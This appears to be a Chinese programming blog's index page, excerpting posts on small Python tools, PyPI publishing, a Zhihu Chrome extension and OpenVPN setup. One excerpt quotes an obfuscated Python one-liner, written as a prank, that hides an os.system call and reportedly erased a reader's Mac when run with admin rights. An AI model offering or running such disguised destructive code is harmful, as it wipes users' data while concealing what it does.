由于一道不存在的墙,在十九大期间我的 VPS 被墙了,导致大半个月博客无法正常访问,所以干脆将博客从自己的 VPS 改回 GitHub Pages 上。毕竟已经过了折腾的年龄,还是使用简单方便的 hexo 吧~~~
之前博客写了不少,虽然质量不高,但是好歹是自己过去的总结,我会迁移少量内容到新的博客中来,但是大部分都不会转移过来了,友链中有以前博客的链接(可能无法正常访问),有兴趣的朋友还可以点进去看看~~~
好啦,先说这些吧~~~
hello, world.
由于一道不存在的墙,在十九大期间我的 VPS 被墙了,导致大半个月博客无法正常访问,所以干脆将博客从自己的 VPS 改回 GitHub Pages 上。毕竟已经过了折腾的年龄,还是使用简单方便的 hexo 吧~~~
之前博客写了不少,虽然质量不高,但是好歹是自己过去的总结,我会迁移少量内容到新的博客中来,但是大部分都不会转移过来了,友链中有以前博客的链接(可能无法正常访问),有兴趣的朋友还可以点进去看看~~~
好啦,先说这些吧~~~
hello, world.
名字取得有点标题党了,就在刚刚,闲的无聊,通过微博接口和 Pushbullet 接口做了一个近实时关注别人的小工具。
具体原理比较简单,就是不断轮询微博接口,发现有新的微博的时候,通过 Pushbullet 的接口推送消息到手机和电脑。
Pushbullet 是一个跨平台的消息推送工具,可以很方便将消息在各端间传递,同时也提供了 API 接口供通过程序调用。PYPI 上有一个 pushbullet.py 的库对它的 API 做了封建,可以更简单方便地使用,这里用到的功能比较简单:
1 | from pushbullet import Pushbullet |
这样可以将消息发送到 API_KEY 对应帐号登录的所有设备,API_KEY 通过登录后如下截图中页面的「Create Access Token」创建。
闲得无聊,写了个程序,将一张图片转换成一个 HTML 页面。
如图,左边是原图,右边是一个 HTML 页面,根据文字颜色不同拼出了左边的图片:
原始图片 | 转换后 |
---|---|
(注意:右图可不是图片,而是一个 HTML 页面)
1 | ___ __ __ ___ |
我把这个程序叫做「img2html」,并上传到了 PYPI,所以,你可以直接这样安装:
1 | pip install img2html |
具体调用方式上,可以直接命令行调用,也可以通过代码调用,具体使用方式写在了 GitHub 的 README 上:img2html。
代码逻辑非常简单,将图片每 N*N 个像素合并成一个像素,并取这 N*N 像素的平均值当做合成的像素的颜色,然后渲染为 HTML 页面中对应位置的文字颜色。代码中虽然使用了 4 个 for 语句,但是其实只是遍历了图片中每个像素一次。
之前在知乎看到一个问题:「一行 Python 代码可以实现什么丧心病狂的功能?」,我看着好玩,写了一个答案:
1
2 > (lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))
>
OS X、Linux 有效,需要管理员权限执行,效果感人。
作者:xlzd
链接:https://www.zhihu.com/question/37046157/answer/101660005
来源:知乎
著作权归作者所有,转载请联系作者获得授权。
原本只是一个恶搞的小玩笑,没想到真的有一个小伙伴试过了这行代码。然后,他的 Mac 被删光了所有东西……
那么,这行代码是如何做到的呢?
P.S. 这是一篇非常基础的文章,如果你有相关基础,请不必浪费时间阅读。写这篇文章的初衷是收到知友私信问到了怎么讲自己写的程序发布到 PyPI,与其回复一个人的私信,不如写出来供所有初学的人参考参考。
PyPI 的全称是「Python Package Index」,官方介绍如是说:
The Python Package Index is a repository of software for the Python programming language. There are currently 102159 packages here.
托管到 PyPI 的仓库,可以方便地通过 easy_install 或 pip 来安装和更新。比如,你直接「 pip install tornado 」就可以方便地安装 tornado 了。
概念性的东西,就一笔带过吧。这篇博客中,我将以发布一个名为「jujube_pill」的包到 PyPI 为例,从头到尾讲解如何将自己的程序发布到 PyPI。
xart
is a pure Python library that provides an easy way to generate art ascii texts. Life is short, be cool.
1 | ██╗ ██╗ █████╗ ██████╗ ████████╗ |
知乎上存在大量钓鱼问题,比如:
这些问题都有大量上钩的鱼爆照,同时也滋生了诸如「轮带逛」、「葡带逛」之类点赞带逛行为。然而,在浏览钓鱼问题的时候,存在一个极不好的体验:爆照与爆照之间或许间隔着许多文字回答,读图的连贯性被破坏了。
这个插件旨在解决这个问题,当打开一个有图片的知乎问题页面时,左上角会显示如下按钮:
当按下按钮之后,页面则会变成如下效果:
继续翻页:
如果通过键盘操作,则有以下快捷键:
按键 | 作用 |
---|---|
s |
进入或退出图片浏览模式 |
esc |
退出图片浏览模式 |
↑ ← |
上一张图片 |
↓ → |
下一张图片 |
下载链接:https://raw.githubusercontent.com/xlzd/zhfishhook/master/release/zhfishhook.crx
安装请参考之前的知乎专栏:「云拉黑」是什么 - xlzd杂谈 - 知乎专栏
参考自 How To Set Up an OpenVPN Server on Ubuntu 16.04
对我来讲,有两个原因:
那么,为什么我不用 ShadowSocks 呢?答案是,其实我也在用,不过它在 iOS 上的表现确实无法令人满意,另外,PC 端使用 Chrome 配合 ss 翻墙的时候需要很复杂的配置(或许我不会用吧),相比之下, OpenVPN 可以非常方便的全部搞定(除了安装比较复杂)。所以,这篇博客记录下 OpenVPN 服务的安装过程,以供参考。
文中使用的服务器是 Ubuntu 16.04,不过 Debian 系的操作系统应该是可以通用的。